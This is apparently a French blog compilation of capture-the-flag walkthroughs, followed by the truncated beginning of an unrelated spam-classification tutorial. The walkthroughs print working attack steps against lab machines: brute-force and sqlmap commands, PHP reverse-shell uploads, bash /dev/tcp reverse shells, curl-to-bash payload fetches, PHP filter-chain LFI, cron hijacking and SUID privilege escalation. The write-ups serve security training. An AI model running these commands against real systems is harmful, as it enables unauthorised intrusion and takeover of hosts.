Après une recherche google et sur metasploit, il existe bien un exploit disponible de la version 4.7.13 du CMS pluck, qui permet un upload de fichiers dans Pluck CMS pour permettre un code d’exécution à distance. On peut donc essayer d’y téléverser un fichier qui va permettre une connexion en reverse shell sur notre machine.

J’ai d’abord essayé de manipuler le lien en tentant un LFI, mais on a un message d’erreur. Il semble y avoir un filtre qui bloque les injections LFI.

On essaie de bypasser la page de login trouvé un peu plus haut avec du brute force avec hydra. En examinant le code source de la page de login.php, on a des infos sur les paramètres à utiliser dans la commande avec hydra

On essaie la commande hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.56.225 http-post-form "/app/pluck-4.7.13/login.php:cont1=^PASS^&bogus=’’ : Password incorrect"

Cette commande envouie une requête POST vers /app/pluck-4.7.13/login.php, la page du formulaire. cont1 et bogus sont les noms des champs pour le mot de passe et le nom d’utilisateur. Mais celui du nom d’utilisateur n’intervient pas dans la connexion donc on le met à vide.

Après avoir testé les mots de passe un à un, le mot de passe valide est password. On tombe sur page admin.php.

En parcourant un peu le site, on a une section qui nous permet de téléverser un fichier. On va donc créer un reverse shell en PHP.

Une fois le fichier téléversé, il a été modifié en rev_shell.php.txt, ce qui empêche l’exécution directe du code vu que le sevreur le considère juste comme un fichier texte.

On va donc renommer le fichier en ajoutant une des extensions .phtml, .php5, .phar car celles-ci ne sont pas toujours filtrées.

Après avoir renommé puis téléversé, on appuie sur la loupe, ce qui permet d’accéder à http://10.10.2.49/app/pluck-4.7.13/files/rev_shell.phar

On a ensuite le reverse shell sur notre machine.

Lucien Flag

Une fois connecté sur la machine cible, on tentera de lire le flag de lucien.

www-data n’a pas les permssions. On peut juste le lire en étant connecté à lucien, le propriétaire du fichier lui-même.

Pareil pour le flag de death et celui de morpheus.

On essaie un sudo -l pour voir les commandes privilèges que l’utilisateur peut exécuter via sudo.

On obtient une erreur car sudo demande un mot de passe. On doit donc stabiliser le shell pour pouvoir utiliser sudo -l. Pour stabiliser le shell, utiliser les commandes suivantes:

python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
CTRL+Z
stty raw -echo;fg
ENTRÉE
ENTRÉE

Après ca on a un shell interactif, mais on retente sudo -l et on a une demande de mot de passe.

Le user www-data n’est pas dans le fichier sudoers avec les droits nécéssaires, on ne peut donc pas passer par cette technique.

On va essayer la commande find / -type f -perm 4000 2>/dev/null pour trouver les fichiers SUID, qui sont des fichiers ou programmes qui s’exécutent avec les droits de leur propriétaire.

Mais on a rien 😕.

On essaie la commande find / -type f -group lucien 2>/dev/null, qui cherche les fichiers appartenant au groupe lucien. Vu qu’on avait trouvé plus haut que le fichier lucien_flag.txt appartenait au groupe lucien.

On y voit un fichier /opt/test.py qu’on peut lire.

On y voit une URL qui pointe vers localhost, et un mot de passe. Il s’agit peut-etre du mot de passe de lucien. On tente donc su lucien pour se connecter avec le mot de passe trouvé et bingo, on se connecte et on a le flag de l’utilisateur lucien 😁. On peut aussi se connecter avec ssh.

Death Flag

Ici aussi le fichier death_flag.txt ne peut-être lu que par son propriétaire. On essaie sudo -l

La dernière ligne indique que lucien peut exécuter le script getDreams.py, même si celui-ci appartient à l’utilisateur death.

On essaie donc de voir le contenu de getDreams.py, mais on ne peut pas le lire directement dans le répertoire de death. Je fais donc la commande find / -type f -name “getDreams.py“ -readable 2">/dev/null. On peut lire le fichier getDreams.py depuis le répertoire /opt.

En analysant le contenu, il s’agit d’opérations effectuées sur une base de données. La fonction getDreams() se connecte à la base de données library avec le compte death et un mot de passe #redacted . Elle récupère ensuite des données (dreamer et dream)de la table dreams puis les exécute dans une commande shell via subprocess.check_output().

Vu qu’on a des identifiants, je tente une connexion direct à mysql avec la commande mysql -u death -p #redacted -D library. Je tente aussi avec lucien mais rien.

Un peu compliqué ici, on a des mots de passe mais pas de connexion, pourtant il y a bien du sql. En retournant dans le dossier de lucien, il y a deux fichiers, mysql_history et bash_hisotry. En les consultant, on voit les commandes bash entrés par lucien, et donc la commande utilisée pour se connecter à mysql et aussi les commandes utilisées une fois connecté à mysql.

On arrive donc à se connecter

J’ai exécuté la commande trouvée plus haut dans le fichier getDreams.py.

Dans le fichier getDreamer.py, on avait ce bout de code

# Loop through the results and echo the information using subprocess
            for dream_info in dreams_info:
                dreamer, dream = dream_info
                command = f"echo {dreamer} + {dream}"
                shell = subprocess.check_output(command, text=True, shell=True)
                print(shell)

Et avec la sortie de sudo -l , l’utilisateur lucien peut exécuter /home/death/getDreams.py en utilisant python3 en tant que l’utilisateur death, et ce, sans fournir un mot de passe.

On trouve le même indice dans le fichier .bash_history.

On fait donc sudo -u death /usr/bin/python3 /home/death/getDreams.py et on a la commande echo qui s’exécute et la fonction subprocess.check_output().

La base de données peut être donc vulnérable à une injection de commande shell. J’essaie la commande INSERT INTO dreams VALUES('test','$(whoami)');.

Quand on exécute ensuite sudo -u death /usr/bin/python3 /home/death/getDreams.py, on a bien l’identifiant death qui s’affiche dû à l’injection de $(whoami).

On peut essayer de directement lire le flag de death.

On a le flag de death 🙂

On va aussi essayer de trouver le mot de passe de l’utilisateur death. Pour cela on fait une insertion dans la base de données avec INSERT INTO dreams VALUES('test','$(head -n 20 /home/death/getDreams.py)');. Cette commande permet de lire les 20 premières lignes du fichier /home/death/getDreams.py.

On a donc le mot de passe de l’utilisateur death et on peut se connecter via ssh.

Morpheus Flag

Dans le répertoire de morpheus, on retrouve plusieurs fichiers. Celui qui interpelle en premier est le fichier kingdom, mais rien d’intéressant. Par contre dans le fichier restore.py, la fonction copy2() de librairire shutil est utilisée pour copier un fichier vers un dossier de backup /kingdom_backup/kingdom

Mais on ne peut accéder à ce fichier.

On essaie de voir si il y a une faille autour de la librairire, mais rien.

En recherchant la libriaire shutil, on voit qu’elle est stockée dans /usr/lib/python3.8/shutil.py. Le fichier appartient à root mais est aussi modifiable par le groupe death.

On peut donc soit modifier le fichier /usr/lib/python3.8/shutil.py pour du reverse shell ou juste modifier les permissions du fichier morpheus_flag.txt avec l’utilisateur death, car c’est lui qui a les droits d’écriture. On ajoute os.system('chmod 777 /home/morpheus/morpheus_flag.txt') pour le rendre accessible à tous.

On a le flag 😁

User Flag

On débute par un scan Nmap. On voit 4 ports ouverts dont la 1337.

En examinant cette page et le code source, rien qui pourrait nous servir.

Je tente alors une commande avec gobuster pour énumérer des répertoires ou fichiers cachés. On trouve ici deux répertoires: admin et admin_101.

La page http://10.10.194.184:1337/admin/ est un formulaire de connexion.

La page http://10.10.194.184:1337/admin_101/ héberge le même formulaire, mais ici la valeur de l’email est défini par défaut à hacker@root.thm.

J’ai tenté de voir avec Burp. Après avoir envoyé la requête dans le Repeater, on a une requête SQL mais qui n’inclue pas le mot de passe.

On va donc tenter une injection SQL ici. On voit aussi que larequête est envoyée par POST à includes/user_login.php.

On teste avec ffuf avec une liste de payloads d’injection SQL. Mais on a aucun résultat.

Un autre moyen est de le faire avec sqlmap, un outil d’exploitation par injections SQL. On exécute la commande suivante: sqlmap -u "http://10.10.230.197:1337/admin_101/includes/user_login.php" --data="email=hacker@root.thm&password=test" --batch --dbs --dump . Cette commande va permettre de lister toutes les bases de données disponibles et de récupérer le contenu des bases de données identifiées.

On voit donc trois base de données, dont une du nom de expose qui contient 2 tables: config et user.

On a maintenant le nom d’utilisateur hacker@root.thm et son mot de passe. On arrive ensuite à se connecter, mais la page n’est pas tant utile et on a rien dans le code source.

En visitant /file1010111/index.php , trouvé dans la table config, on tombe sur un formulaire qui demande un mot de passe.

Le mot de passe fourni dans la table est peut-être codé. En allant sur dcode, on l’obtient en clair.

On tombe à nouveau sur une autre page.

Dans le code source , on a une sorte d’indice qui nous dit d’essayer avec des paramètres.

On va donc manipuler l’URL. J’ai essayé http://10.10.230.197:1337/file1010111/index.php?file=test ou encore http://10.10.230.197:1337/file1010111/index.php?file=1, mais rien.

Dans la deuxième entrée de la table config, il y avait une autre URL qui indiquait ONLY ACCESSIBLE THROUGH USERNAME STARTING WITH Z. Il faut donc voir pour des username, faisant allusion à /etc/passwd. J’ai donc tenté http://10.10.230.197:1337/file1010111/index.php?file=../../../../../etc/passwd.

On a bel et bien un nom d’utilisateur débutant par z.

On tombe sur une page qui permet d’upload un fichie, via le répertoire /upload-cv00101011.

En regardant le code source, on voit que le site accepte juste un fichier jpg ou png.

On y upload une photo.

On regarde à nouveau le code source, on voit que les fichiers sont téléversés dans le répertoire /upload_thm_1001.

Les photos sont sous le répertoire /upload_thm_1001.

Ce qu’on va donc faire cest téléverser un fichier qui sera notre reverse shell. Vu que le serveur utilise php, on utilisera un reverse shell en php. On peut créer un revshell sur Online - Reverse Shell Generator.

J’ai créé un fichier rev_shell.php mais que jai renommé rev_shell.png, pour que l’upload réussisse.

Il faut donc renommer le fichier une fois dans Burp en rev_shell.php puis forward la requête

On retourne dans le répertoire /upload_thm_1001 et on voit que le fichier rev_shell.png que j’ai renommé dans la requête en rev_shell.php a bien été téléversé comme le montre la photo ci-dessous.

Il suffit donc de cliquer sur la photo, et on a le shell.

On est connecté en tant que www-data. Mais une fois connecté, je ne peux pas lire le flag de l’utilisateur. Mais le fichier ssh_creds.txt contient ses identifiants avec lesquels on peut juste se connecter.

J’ai donc changé d’utilisateur, avec la commande su zeamkish pour passer de www-data à zeamkish, entré son mot de passe, et j’ai accès à flag.txt.

Root Flag

La commande sudo -l ne nous sort rien. Donc zeamkish n’a aucun privilège root.

On essaie aussi de voir un fichier potentiel de flag contenant le terme root, mais rien.

Finalement, on regarde les fichiers SUID, qui sont des fichiers ou programmes qui s’exécutent avec les droits de leur propriétaire, souvent root. Avec la commande find / -type f -perm -u=s 2>/dev/null ou find / -type f -perm 4000 2>/dev/null.

On a une liste de binaires SUID avec le bit s, et qui appartiennetnt à root. Il est possible ici d’utiliser plus d’un.

/usr/bin/nano

Le binaire /usr/bin/nano permet de modifier des fichiers avec des privilèges root. On peut donc modifier le fichier /etc/shadow qui contient les mots de passes des utilisateurs. Pour cela, on génère d’abord le hash du mot de passe avec openssl.

On copie ensuite ce hash, au niveau de root, juste après root: avec la commande /usr/bin/nano /etc/shadow

On passe maintenant à root, et on a le flag.

/usr/bin/find

On peut aussi utiliser le binaire find pour directement trouver le flag de root. On peut utiliser la commande /usr/bin/find . -exec /bin/sh -p \; -quit. Cette commande utilise le binaire find pour exécuter un shell avec les privilèges SUID.

• /usr/bin/find est le chemin du binaire trouvé un peu plus haut.

• -exec /bin/sh -p \; exec est une option de find qui permet d’exécuter des commandes. L’option -p permet de conserver les userid effectif (celui de root), ce qui me donne un shell en étant root. On peut le voir dans la capture ci dessous. Sans l’option -p, le shell détecte une différence entre l’UID réel et l’UID effectif et redescend à l’UID réel (celui de l’utilisateur zeamkish).

On peut ensuite lire le flag.txt dans le fichier flag.txt de /root.

Flag user.txt

On débute par un scan nmap. On a juste deux ports ouverts.

L’interface web sur le port 80 nous renvoie une page assez basique

La commande gobuster dir -u 10.10.140.46 -w /usr/share/wordlists/dirb/big.txt nous donne un répertoire plutôt intéressant.

Il s’agit d’une page de connexion.

On tente de l’injection SQL ici. Après avoir envoyé des données aléatoires, je vois qu’une requête POST est envoyée à http://10.10.140.46/api/login.

On va donc utiliser ffuf vers cette adresse avec une liste de payloads disponible sur Github.

Mais on a rien comme résultat.

En fouillant un peu plus au niveau de l’inspecteur, on tombe sur un fichier login.js.

En regardant de plus près, le bout de code ci-dessous, on voit qu’il contient une faille plutôt logique.

if (statusOrCookie === "Incorrect credentials") {
  // échec
} else {
  // tout le reste = succès → on stocke ce qu’on a reçu comme token
  Cookies.set("SessionToken", statusOrCookie)
  window.location = "/admin"
}

Seul le texte "Incorrect credentials" est traité comme un échec. Tout autre réponses valident la connexion et redirigent vers /admin. On peut donc en tirer parti et modifier manuellement depuis la console du navigateur.

Ensuite au niveau du stockage, on ajoute un nouveau cookie avec le nom “SessionToken“ en lui attribuant n’importe quelle valeur. On recharge ensuite la page.

On a donc accès à la page admin et on y voir une clé privée, avec un nom d’utilisateur James. On peut donc potentiellement avoir une connection en ssh.

La clé est chiffrée en AES-128-CBC. Il va donc falloir en extraire une empreinte exploitable par John the Ripper, cracker la passphrase, puis l’utiliser pour se connecter.

On copie d’abord l’entièreté de la clé débutant par -----BEGIN RSA PRIVATE KEY-----. Avec ssh2john, on génère le hash.

On le cracke ensuite avec john.

🫤Petit blocage ici. L’outil john n’est pas installé sur la machine.

ChatGPT m’a donc fourni une alternative 😙. Un script permettant de trouver la passphrase de la clé privée.

#!/bin/bash
KEYFILE="priv_key"
WORDLIST="/usr/share/wordlists/rockyou.txt"

while IFS= read -r pass; do
  # Tente de déchiffrer ; on envoie stdout/stderr vers /dev/null
  openssl rsa -in "$KEYFILE" -passin pass:"$pass" -out /dev/null 2>/dev/null
  if [ $? -eq 0 ]; then
    echo "[+] Passphrase trouvée : $pass"
    exit 0
  fi
done < "$WORDLIST"

echo "[-] Aucune passphrase trouvée dans $WORDLIST"

À copier dans un fichier crack.sh puis le rendre exécutable avec chmod +x crack.sh. Lancer ensuite le script avec ./crack.sh.

On a maintenant la passphrase 😋. On peut se connecter avec l'utilisateur trouvé un peu plus haut.

La dernière étape consite à rendre la clé uniquement lisible par le propriétaire, car SSH l’exige

On fait donc chmod 600 priv_key.

On arrive à se connecter et on le premier flag 🥳.

Flag root.txt

Dans le répertoire de l’utilisateur james, on a un fichier todo.txt

Celui-ci donne des indices plutôt intéressants: Le mot de passe est peut être quelque part dans un fichier? Ou il peut y avoir aussi un password manager? Il suggère aussi de tester overpass pour macOS.

J’ai tenté de rechercher un fichier avec overpass, password, ou password manager. Juste les résultats pour overpass sont intéressants.

On a un binaire /usr/bin/overpass et un fichier /.overpass.

On cherche aussi l’utilitaire crontab qui permet de planifier l’exécution de tâches ou scripts de manière périodique. On voit que la commande curl overpass.thm/downloads/src/buildscript.sh | bash s’exécute chaque minute. Il télécharge le script buildscript.sh depuis overpass.thm/downloads/src/ avec curl puis l’exécute avec bash.

On voit aussi que overpass.thm pointe vers la machine même(localhost). Donc si on lance un serveur HTTP sur le port 80 sur notre machine Kali, on contrôle totalement ce que root télécharge et exécute. On peut ensuite modifier le fichier /etc/hosts du serveur cible et la pointer vers notre machine Kali.

Première étape, on crée un répertoire identique à ce qui est exécuté sur la machine cible soit /downloads/src/. On y créé ensuite un fichier buildscript.sh qui contient le reverse shell. Vous pouvez utiliser Online - Reverse Shell Generator pour créer votre reverse shell.

#!/bin/bash
/bin/bash -i >& /dev/tcp/IP_MACHINE_KALI/4444 0>&1

Prochaine étape serait de créée un serveur python sur la machine Kali sur le port 80 et un écouteur sur le port 4444

On retourne ensuite modifier le fichier /etc/hosts pour faire pointer overpass.thm vers l’adresse IP de la machine Kali.

On patiente alors une minute pour que la tâche s’exécute à nouveau, et on a le shell sur notre machine Kali.

On a le flag 🥳

Énumération

Le scan Nmap nous donne le résultat suivant.

Rien d’extraordinaire

On essaie le port 80 et on tombe sur la page par défaut Ubuntu

La recherche par gobuster nous donne deux pages plutôt intéressantes: http://10.10.74.44/wordpress/ et http://10.10.74.44/test/

La page http://10.10.74.44/test/ semble être une page malveillante avec beaucoup de pop-ups.

La page http://10.10.74.44/wordpress/ semble être une page normal avec quelques codes d’erreur 404.

En parcourant un peu le site, on tombe sur un lien, qui nous dirige vers uns adresse différente que celle de base. En la modifiant pour celle de l’adresse IP de la cible de base, on tombe sur une page d’authenfication WordPress

Après avoir tenté quelques combinaisons et de l’injection SQL, rien d’intéressant ici pour le moment.

Vu que les ports 139 et 445 sont ouverts, on utilise smbclient pour interagir avec les serveurs Samba et accéder potentiellement à des partages de fichiers.

On voit trois partages disponibles. Les partages avec $ à la fin indiquent qu’ils sont cachés et ne sont pas visibles par tous. On peut donc accéder à \\10.10.74.44\websvr.

On accède au partage et on y voit un fichier enter.txt qu’on récupère sur notre machine.

Ce fichier contient des informations assez utiles, dont la possibilité de l’existence de Subrion, un système de gestion de contenu (CMS) et des identifiants de connexion.

On peut peut-être s’en servir pour se connecter à une interface?

Après une petite recherche google sur Subrion, on peut tester les panneaux d’administration Subrion aux addresses http://10.10.74.44/subrion, http://10.10.74.44/subrion/panel ou encore http://10.10.74.44/subrion/admin.

Après avoir testé les identifiants trouvés un peu plus haut, on a un message d’erreur au niveau de l’authentification.

Vu qu’on avait une note [cooked with magical formula], cela indique que le mot de passe est à décoder probablement. Je me rends donc sur https://www.dcode.fr/fr, au niveau du détecteur de chiffrement en premier.

On voit une indication d’un chiffrement en Base 58. En l’utilisant sur CyberChef on voit le mot de passe en clair.

On a accès à l’interface de Subrion.

En parcourant un peu le dahsboard, on a juste pas mal d’informations. Aucun mot de passe en clair, ou une indication sur tel ou tel indice.

On voit par contre la version du CMS qui est la 4.2.1.

En recherchant sur https://www.exploit-db.com/, on a quelques vulnérabilités de cette version ainsi que les CVEs.

Après avoir fouillé un peu, on peut tirer parti de la vulnérabilité Arbitrary File Upload de Subrion 4.2.1 pour déposer un shell et potentiellement obtenir un accès.

On se rend dans msfconsole ensuite, pour récupérer et adapter l’exploit avec la commande searchsploit -m php/webapps/49876.py

Le fichier est maintenant téléchargé. La prochaine étape est de le consulter et voir ce que fait le contenu.

Le script utilise optparse pour gérer les arguments. On peut donc ajouter les trois options -u pour l’URL cible, -l pour le nom d’utilisateur et -p pour le mot de passe.

Après avoir lancé l’exploit avec les bon paramètres, on est maintenant connecté sur la machine avec www-data.

On voit bien que l’exploit a uploadé un webshell à l’adresse http://10.10.123.58/subrion/panel/uploads/lpfotmxhylzwuss.phar.

Ce webshell (lpfotmxhylzwuss.phar) permet d’exécuter des commandes à distance via des requêtes HTTP, en PHP ici.

L’exploit 49876.py ici permet d’exécuter des commandes sur le serveur , mais il est limité au répertoire /var/www/html/subrion/uploads. Même lorsqu’on fait cd /, on se trouve toujours dans le répertoire /var/www/html/subrion/uploads.

Le webshell lpfotmxhylzwuss.phar est limité, on a pas de changement de répertoire. Il faut donc trouver un moyen d’avoir un shell interactif.

On va donc tenter d’obtenir un reverse shell, en y envoyant un payload qui se connecte à notre machine.

nano revshell.sh
#!/bin/bash
/bin/bash -i >& /dev/tcp/10.10.12.49/4444 0>&1

Ce code va créer un reverse shell vers notre machine. La prochaine étape serait de lancer un écouteur sur notre machine avec la commande nc -lvnp 4444 puis récupérer le fichier revshell.sh depuis le serveur subrion. La commande bash exécute le script téléchargé.

curl 10.10.12.49:8000/revshell.sh | bash

On a donc réussi à avoir le shell.

On peut voir ici qu’il y a un utilisateur du nom de scamsite.

Le fameux répertoire /test sort aussi des fichiers assez bizzares

Dans le répertoire /wordpress, on voit un fichier wp-config.php.

Bingo, dans ce fichier, on a des identifiants MySQL. Il peut s’agir d’identifiants pour accéder à une base de données WordPress? SSH? ou autre.

La tentative de se connecter à mysql fonctionne.

En parcourant le site de wordpress on arrive à se connecter avec les identifiants.

En parcourant le site, je n’ai rien d’intéressant.

Je retourne voir si je peux utiliser les identifiants trouvés.

Je vois que j’arrive à me connecter sur l’utilisateur scamsite avec le mot de passe trouvé.

La commande sudo -l afficher les commandes privilèges que l’utilisateur scamsite peut exécuter via sudo.

On voit qu’il peut exécuter usr/bin/iconv en tant que rootsans mot de passe. Après quelques recherches rapides, iconv est un utilitaire pour convertir des encodages de fichiers.

On exécute la commande sudo iconv -f utf-8 -t utf-8 /root/root.txt et on a le flag 😉.

La room n’a pas été complétée en une fois, donc il y a plusieurs adresses de la machine cible 😁.

Énumération

Le résultat du scan Nmap sur la machine sort presque tous les ports ouverts. Cne n’est donc pas une piste envisageable.

En regardant de plus près le port 80, on a une interface, et on y voit une page de login.

On essaie ici de l’injection SQL

Obtenir l’accès shell

Avec le paramètre cmd

1. Créer un fichier shell.sh pour mon script de reverse shell. On veut donc initier la connexion depuis la machine cible.

Remplacer 10.10.102.158 par l’adresse IP de votre machine.

cat shell.sh 
#!/bin/bash
bash -i >& /dev/tcp/10.10.102.158/4444 0>&1

2. Démarrer le listener netcat sur la machine principale pour écouter les connexions entrantes sur le port 4444

nc -lvnp 4444

3. Démarrer un serveur HTTP qui va contenir le fichier shell.sh. Le fichier doit être dans le le répertoire courant où vous exécutez la commande.

python -m http.server 8000

4. Utiliser l’outil php_filter_chain_generator pour générer la chaîne de filtres PHP

python3 attack.py --chain '<?php system($_GET["cmd"]); ?>'

Ici on utilise '<?php system($_GET["cmd"]); ?>' car on veut exécuter des commandes sur le serveur cible via le paramètre cmd dans l’URL. On veut exploiter une vulnérabilité de type Local File Inclusion LFI afin d’exécuter des commandes arbitraires sur la cible.

5. Modifier l’URL vulnérable pour y ajouter la chaîne de filtres PHP générée et le paramètre cmd.

URL de base: http://10.10.162.24/secret-script.php?file=php://filter/resource=users.html

Début de la chaîne de filtre PHP : php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode

Fin de la chaîne de filtre PHP: UTF8.UTF7|convert.base64-decode/resource=php://temp

On rajoute donc le paramètre &cmd=curl http://10.10.102.158:8000/shell.sh | bash à la fin de la chaîne de filtre PHP et on obtient ainsi le reverse shell.

• curl http://10.10.102.158:8000/revshell.sh: utilise l’outil curl pour télécharger le fichier shell.sh depuis le serveur HTTP sur le port 80

• | bash: redirige la sortie de la commande curl vers l’interpréteur de commandes bash, pour exécuter le script.

Avec curl

On peut aussi spécifier directement la commande curl dans le payload lors de la génération de la chaîne de filtres PHP. C’est une alternative pour exécuter directement la commande curl sur le serveur, sans avoir à passer de paramètres supplémentaires à l’URL.

python3 attack.py --chain '<?= `curl 10.10.102.158:8000/shell.sh | bash` ?>'

Ce payload utilise la syntaxe courte <?= ?> pour exécuter la commande curl qui télécharge et exécute le script shell.sh depuis le serveur HTTP.

Une fois la chaîne de filtres générée, on peut l’intégrer dans l’URL et obtenir l’accès sur la machine en reverse shell.

Flag user.txt

On veut lire le contenu du fichier user.txt

Il faut donc trouver un moyen de pouvoir lire le contenu du fichier user.txt. Seul le propriétaire comte a le droit de lire et écrire dans le fichier. Vu qu’on est connecté à www-data, on a aucun droit.

On essaiera de vérifier si www-data n’a pas accès à d’autres fichiers ou répertoires.

find /home/comte -type f -readable -writable

Cette commande permet de lister les fichiers dans le répertoire /home/comte et les sous-répertoires, que l’utilisateur www-data peut lire (-readable) et écrire (-writable).

On peut donc voir que le fichier authorized_keys dans le répertoire /.ssh peut être lisible et modifiable par www-data.

Ce fichier est composant du mécanisme d’authentification par clé publiques de SSH. Il contient une liste de clés publiques SSH appartenant aux utilisateurs autorisés à se connecter à un compte spécifique. Il fonctionne avec une clé privée, qui est sur la machine de l’utilisateur qui se connecte.

À noter que dans le cas d’une authentification par clé SSH, on a pas besoin du mot de passe de l’utilisateur car SSH utilise la correspondance entre la clé privée et la clé publique placée dans le fichier authorized_keys de comte.

Sur la machine principale, on génère une paire de clé avec la commande ssh-keygen -t rsa

On obtient une clé privée (key_rsa) et la clé publique associée (key_rsa.pub).

Il faut ensuite copier le contenu de la clé publique dans le fichier authorised_keys de la machine cible afin dese connecter au compte comte depuis la machine principale via SSH.

Sur la machine principale sur laquelle la paire de clés a été générée, lancer la connexion ssh en utilisant la clé privée.

ssh -i key_rsa comte@10.10.46.126

On a arrive donc à se connecter au compte comte et on obtient le flag.

Flag root.txt

On commence par la commande sudo -l pour afficher les commandes privilèges que l’utilisateur comte peut exécuter via sudo.

On voit qu’on peut exécuter des commandes systemctl sans avoir à fournir de mot de passe. On peut (re)démarrer, activer le service exploit.timer ou recharger les fichiers de configuration des services systemd via daemon-reload.

Une unité .timer est utilisée pour planifier des tâches. Si exploit.timer est donc mal configurée, on peut l’exploiter.

Le fichier de configuration exploit.timer est incomplet. Au niveau de la section Timer, le champ OnBootSec spécifie un délai après le démarrage du système avant que la minuterie ne s'active.

Le fichier exploit.service est bien configuré: c’est un service de type oneshot, il exécute une commande unique et se termine. Elle exécute un script bash qui copie /usr/bin/xxd dans /opt/xxd et modifie ses permissions (+sx). Cela signifie que le binaire /opt/xxd sera exécuté avec les privilèges de son propriétaire, qui est root.

Puisqu’on peut modifier le fichier exploit.timer, on y ajoutera une valeur à OnBootSec= pour activer la minuterie, ce qui déclenchera l'exécution de exploit.service.

On recharge les configurations ensuite.

sudo systemctl daemon-reload
sudo systemctl enable exploit.timer
sudo systemctl start exploit.timer

Le fichier /opt/xxd a bien été créé et les bits setuid et setgid sont définis, signifiant que /opt/xxd s’exécutera avec les privilèges de root.

Le bit SUID est une permission spéciale sur un fichier exécutable qui force ce fichier à s’exécuter avec les privilèges de l’utilisateur propriétaire du fichier, plutôt que ceux de l’utilisateur qui l’exécute.

Ici, le fichier /opt/xxd appartient à root, et avec le bit setuid, il s’exécute avec root même si on est connecté avec comte.

/opt/xxd /root/root.txt

On peut faire trois copier-coller mais on fera un peu plus 😋

Le contenu s’affiche en hexadécimal. On va rediriger la sortie et utiliser un outil comme xxd ou hexdump pour le convertir en texte.

On est dans le répertoire racine / , et la redirection > est gérée par le shell qui s’exécute sous l’utilisateur comte et non par /opt/xxd, d’où l’erreur Permission denied. Bien que /opt/xxd ait les privilèges de root pour lire /root/root.txt, le shell n’a pas les permissions d’écrire dans le répertoire courant / en tant que comte.

On le redirige donc vers le répertoire /tmp a des permissions très ouvertes, ce qui permet à tous les utilisateurs (y compris comte) de créer et écrire des fichiers.

Avec l’option xxd -r, on convertit le contenu de l’hexadécimal et donneés de texte brut.

On obtient donc le flag.

On commencera par collecter puis nettoyer les données (emails provenant de SpamAssassin), et ensuite vectoriser ces données (les transformer en une forme numérique compréhensible par l’IA) puis ensuite les entraîner afin d’évaluer le modèle.

Le diagramme suivant illustre le flux des données depuis la source jusqu’à l’étape finale de classification:

graph TD;
    A[Collecte des emails] --> |Prétraitement| B[Nettoyage des données]
    B --> C[Tokenisation ]
    C --> D[Stemming / Lemmatization]
    D --> E[Vectorisation TF-IDF /BoW]
    E --> F[Entraînement du modèle ]
    F --> G[Classification des emails ]

Collecte des données

Pour commencer, on veut récupérer des emails, qu'on va pouvoir charger dans le modèle afin de le préparer pour la classification. Ces données seront chargées à partir de datasets publics au choix. Un dataset ou encore jeu de données public est un ensemble de données qui est libre d’accès, et qui peut être utilisé par tous. Les datasets publics sont souvent utilisés pour entraîner des modèles d’intelligence artificielle.

Pour cela, on peut chosir parmi plusieurs sources de données suivantes:

• SpamAssasin : un projet open source anti-spam qui offre la possibilité d’identifer, flitrer et bloquer des courriels indésirables. Il utilise des analyses heuristiques sur les en-têtes et les corps des courriels pour l’analyse.

• Enron Email Dataset : une base de données de milliers de courriels provenant des employés de l’entreprise Enron.

Prétraitement des données

Nettoyage

Plusieurs éléments des emails qui ne seront pas utiles lors de la classification seront supprimés. Il s’agit par exemple des en-têtes (“From: “ , “To: “) indiquant l’expéditeur et le récepteur, des liens et URLs ou encore des pièces jointes. On se concentre juste sur le contenu du courriel et aussi les éléments de l’en-tête comme l’adrresse de l’expéditeur qui peuvent être utiles pour détecter des modèles de spam. Par la suite, le texte entier du courriel sera converti en minuscules car pour plusieurs modèles de machine learning, les mots “bonjour“ et “Bonjour“, sont deux mots différents. Les stopwords sont aussi supprimés vu qu’ils n’influent pas directement sur la classification de l’email en fonction de son contenu.

Il existe plusieurs manières permettant de nettoyer le courriel, dépendemment de la facon dont on veut que le modèle fonctionne. On pourrait par exemple supprimer les liens ou les URLs ou les garder. Ces liens peuvent parfois êtres des indicateurs de spam assez flagrants; comme le domaine ou des liens suspects.

import re 


# Fonction pour nettoyer le texte
def clean_email(emails_to_clean):

    # Si un seul email est fourni sous forme de chaîne, on le convertit en liste
    if isinstance(emails_to_clean, str):
        emails_to_clean = [emails_to_clean]

    cleaned_emails = []

    for email in emails_to_clean:
        #Convertir en minuscules
        email = email.lower()

        #Supprimer les sauts de ligne
        email = email.replace("\n", " ")

        #Supprimer les en-têtes des emails (on garde juste le contenu)
        #Le ^\s*, permet de supprimer les termes juste au début de la ligne, et si ils sont suivis de ":" 
        #Si les termes sont ailleurs dans le texte, ils ne sont pas supprimés
        email = re.sub(r"(?i)\b(subject|from|to|de|à|sujet)\b\s*:\s*",
                       "",
                       email)

        cleaned_emails.append(email)

    print(cleaned_emails)
    return cleaned_emails

# Exemple d'utilisation
email_text = """
De: Expéditeur
À: Recepteur
Subject: Réunion à 11h 

bonsoir à tous,
On fait un exemple pour tester le nettoyage. Vous pouvez consulter l'article à l'adresse https://blog.fikara.io
Cordialement,
"""
cleaned_text = clean_email(email_text)

En exécutant le code avec l’exemple ci-dessus, on obtient le résultat suivant:

On voit bien que le courriel a été nettoyé. Le texte d’abord converti en minuscule, et ensuite les termes de l’entête du message ont été supprimés ("De", "À", "Subject"). Ici, on a gardé les stopwords.

Tokenization

La tokenization est un processus qui consiste à découper du texte en de plus petites unités commes des mots, des phrases, des caractères etc. Elle transforme du texte brut, comme une série de plusieurs phrases, en de mots beaucoup plus courts. Cette étape est nécessaire avant d’entraîner le modèle d’IA, vu qu’il ne comprend pas directement les mots.

Il existe plusieurs types de tokenization:

• La tokenization par mots : elle consite à découper du texte par des mots simples. Par exemple, la phrase “Mes cheveux sont longs !“ devient [“Mes“, “cheveux”, “sont”, “longs”, “!”]

• La tokenization par caractères: ici, chaque caractère d’un mot est traité individuellemment. Par exemple, [“bonjour“] devient [“b”, “o”, “n”, “j”, “o”, “u”, “r”]

• La tokenization basée sur des règles spécifiques (regex tokenization): elle utilise des expressions régulières pour découper le texte et extraire les mots selon des motifs définis. Elle permet d’extraire par exemple des emails, des URLs, des numéros de téléphone etc.

Dans notre cas, on applique la tokenization des mots.

import re
import nltk
from nltk.tokenize import word_tokenize

#Télécharger les ressources pour la tokenization
nltk.download('punkt')

# Fonction pour tokenizer le texte
def tokenize_email(text):
    cleaned_text_list = clean_email(text) # On utilise d'abord la fonction pour nettoyer le texte
    tokens_words= []    

    for email in cleaned_text_list :
        words = word_tokenize(email)
        tokens_words.append(words)
